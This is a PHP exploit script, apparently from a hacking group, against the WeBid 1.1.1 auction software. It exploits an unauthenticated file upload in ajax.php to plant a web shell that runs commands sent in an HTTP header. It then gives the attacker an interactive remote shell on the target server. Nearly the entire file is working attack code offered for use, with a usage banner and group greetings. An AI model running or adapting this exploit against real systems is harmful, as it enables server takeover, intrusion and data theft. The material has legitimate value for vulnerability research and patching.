<?php
/*
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
Exploit Title : WeBid 1.1.1 Unrestricted File Upload Exploit
Date : 20 February 2015
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://www.webidsupport.com/
Software Link : http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.1.1/WeBid-1.1.1.zip/download
Version : 1.1.1
Tested on : Window and Linux
#####################################################
VULNERABILITY: Arbitrary File Upload Vulnerability
#####################################################
/ajax.php
/inc/plupload/examples/upload.php
#####################################################
DESCRIPTION
#####################################################
This exploit a file upload vulnerability found in WeBid 1.1.1, and possibly prior. Attackers can abuse the
upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.
#####################################################
EXPLOIT
#####################################################
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "\n+----------------------------------------+";
print "\n| WeBid Unrestricted File Upload Exploit |";
print "\n+----------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /WeBid/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"name\"\r\n\r\n";
$payload .= "shell.php\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";
$packet = "POST {$path}ajax.php?do=uploadaucimages HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Cookie: PHPSESSID=cwh"."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
print "\n\nExploiting...";
sleep(2);
print "Waiting for shell...\n";
sleep(2);
http_send($host, $packet);
$packet = "GET {$path}uploaded/cwh/shell.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
print "\n ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " `+---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " `------' \n";
while(1)
{
print "\nWebid-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
##################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
##################
?>
